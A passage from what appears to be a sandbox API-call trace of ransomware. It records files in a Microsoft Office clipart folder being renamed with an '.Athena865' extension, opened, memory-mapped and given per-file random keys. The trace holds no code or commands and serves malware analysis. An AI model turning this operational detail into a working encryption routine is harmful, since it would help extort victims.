files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.athena865"), dwFlags=0x1) returned 1 [0121.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.939] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20454) returned 1 [0121.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.939] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.940] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.940] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.940] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52f0, lpName=0x0) returned 0x154 [0121.942] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52f0) returned 0x100000 [0121.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.944] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.944] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.945] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19582_.GIF" | out: lpString1="BD19582_.GIF") returned="BD19582_.GIF" [0121.945] lstrlenW (lpString="BD19582_.GIF") returned 12 [0121.945] lstrlenW (lpString="Athena865") returned 9 [0121.945] lstrcmpiW (lpString1="9582_.GIF", lpString2="Athena865") returned -1 [0121.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.Athena865") returned 73 [0121.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.athena865"), dwFlags=0x1) returned 1 [0121.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.956] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15733) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.956] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.956] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.957] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.957] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.957] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4080, lpName=0x0) returned 0x154 [0121.959] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4080) returned 0x100000 [0121.964] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.964] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.964] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.965] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19695_.WMF" | out: lpString1="BD19695_.WMF") returned="BD19695_.WMF" [0121.965] lstrlenW (lpString="BD19695_.WMF") returned 12 [0121.965] lstrlenW (lpString="Athena865") returned 9 [0121.965] lstrcmpiW (lpString1="9695_.WMF", lpString2="Athena865") returned -1 [0121.965] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.Athena865") returned 73 [0121.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.966] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12982) returned 1 [0121.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.967] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.967] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.968] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.968] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35c0, lpName=0x0) returned 0x154 [0121.970] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35c0) returned 0x100000 [0121.971] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.972] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.972] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.974] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19827_.WMF" | out: lpString1="BD19827_.WMF") returned="BD19827_.WMF" [0121.976] lstrlenW (lpString="BD19827_.WMF") returned 12 [0121.976] lstrlenW (lpString="Athena865") returned 9 [0121.976] lstrcmpiW (lpString1="9827_.WMF", lpString2="Athena865") returned -1 [0121.976] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.Athena865") returned 73 [0121.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.977] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9710) returned 1 [0121.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.978] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.978] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.978] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.979] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28f0, lpName=0x0) returned 0x154 [0121.980] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28f0) returned 0x100000 [0121.981] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.981] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.981] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.982] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.982] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19828_.WMF" | out: lpString1="BD19828_.WMF") returned="BD19828_.WMF" [0121.982] lstrlenW (lpString="BD19828_.WMF") returned 12 [0121.982] lstrlenW (lpString="Athena865") returned 9 [0121.982] lstrcmpiW (lpString1="9828_.WMF", lpString2="Athena865") returned -1 [0121.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.Athena865") returned 73 [0121.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.984] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8772) returned 1 [0121.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.985] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.985] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.985] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2550, lpName=0x0) returned 0x154 [0121.986] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2550) returned 0x100000 [0121.987] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.988] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.988] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.988] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19986_.WMF" | out: lpString1="BD19986_.WMF") returned="BD19986_.WMF" [0121.988] lstrlenW (lpString="BD19986_.WMF") returned 12 [0121.988] lstrlenW (lpString="Athena865") returned 9 [0121.988] lstrcmpiW (lpString1="9986_.WMF", lpString2="Athena865") returned -1 [0121.988] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.Athena865") returned 73 [0121.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.989] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14486) returned 1 [0121.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.990] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.991] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.991] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.991] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ba0, lpName=0x0) returned 0x154 [0121.992] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ba0) returned 0x100000 [0121.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.994] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.994] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.995] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD19988_.WMF" | out: lpString1="BD19988_.WMF") returned="BD19988_.WMF" [0121.995] lstrlenW (lpString="BD19988_.WMF") returned 12 [0121.995] lstrlenW (lpString="Athena865") returned 9 [0121.995] lstrcmpiW (lpString1="9988_.WMF", lpString2="Athena865") returned -1 [0121.995] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.Athena865") returned 73 [0121.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.996] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18304) returned 1 [0121.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.996] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.997] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.997] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.997] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a80, lpName=0x0) returned 0x154 [0121.999] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a80) returned 0x100000 [0122.000] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.000] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.000] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.001] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BD20013_.WMF" | out: lpString1="BD20013_.WMF") returned="BD20013_.WMF" [0122.001] lstrlenW (lpString="BD20013_.WMF") returned 12 [0122.001] lstrlenW (lpString="Athena865") returned 9 [0122.001] lstrcmpiW (lpString1="0013_.WMF", lpString2="Athena865") returned -1 [0122.001] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.Athena865") returned 73 [0122.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.002] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11058) returned 1 [0122.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.003] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.003] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.003] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.004] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e40, lpName=0x0) returned 0x154 [0122.005] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e40) returned 0x100000 [0122.006] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.007] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.007] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.007] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00008_.WMF" | out: lpString1="BL00008_.WMF") returned="BL00008_.WMF" [0122.007] lstrlenW (lpString="BL00008_.WMF") returned 12 [0122.007] lstrlenW (lpString="Athena865") returned 9 [0122.007] lstrcmpiW (lpString1="0008_.WMF", lpString2="Athena865") returned -1 [0122.007] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.Athena865") returned 73 [0122.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.009] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12520) returned 1 [0122.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0122.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0122.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0122.010] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.010] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.010] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.010] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33f0, lpName=0x0) returned 0x154 [0122.012] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33f0) returned 0x100000 [0122.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.014] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.014] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0122.014] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00012_.WMF" | out: lpString1="BL00012_.WMF") returned="BL00012_.WMF" [0122.014] lstrlenW (lpString="BL00012_.WMF") returned 12 [0122.014] lstrlenW (lpString="Athena865") returned 9 [0122.014] lstrcmpiW (lpString1="0012_.WMF", lpString2="Athena865") returned -1 [0122.014] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.Athena865") returned 73 [0122.014] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 